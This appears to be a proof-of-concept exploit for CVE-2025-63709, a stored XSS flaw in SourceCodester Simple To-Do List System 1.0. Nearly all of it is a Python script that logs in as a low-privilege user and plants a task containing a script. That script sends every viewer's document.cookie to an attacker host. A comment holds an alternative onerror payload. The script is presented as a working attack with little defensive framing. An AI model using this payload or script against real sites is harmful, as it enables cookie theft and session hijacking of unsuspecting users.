CVE-2025-63709 SourceCodester Simple To-Do List System 存储型XSS漏洞

import requests import sys # CVE-2025-63709 PoC - Stored XSS in SourceCodester Simple To-Do List System # Target: SourceCodester Simple To-Do List System 1.0 TARGET_URL = "http://target-website.com" # Replace with actual target URL LOGIN_URL = f"{TARGET_URL}/login.php" # Adjust path as needed ADD_TASK_URL = f"{TARGET_URL}/add_task.php" # Adjust path as needed # Malicious XSS payload XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Alternative payload: '<img src=x onerror=alert(document.cookie)>' def exploit(): """ Exploit stored XSS vulnerability in task input field """ session = requests.Session() # Step 1: Login with low-privilege account login_data = { 'username': 'attacker', # Low-privilege user 'password': 'password123' } try: response = session.post(LOGIN_URL, data=login_data, timeout=10) # Step 2: Add malicious task with XSS payload task_data = { 'task': XSS_PAYLOAD, # Inject XSS payload 'submit': 'Add Task' } response = session.post(ADD_TASK_URL, data=task_data, timeout=10) # Step 3: When victim views task list, XSS will execute print("[+] XSS payload submitted successfully") print(f"[+] Payload: {XSS_PAYLOAD}") print("[+] Any user viewing the task list will have their cookies stolen") except requests.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": print("CVE-2025-63709 - Stored XSS in Simple To-Do List System") exploit()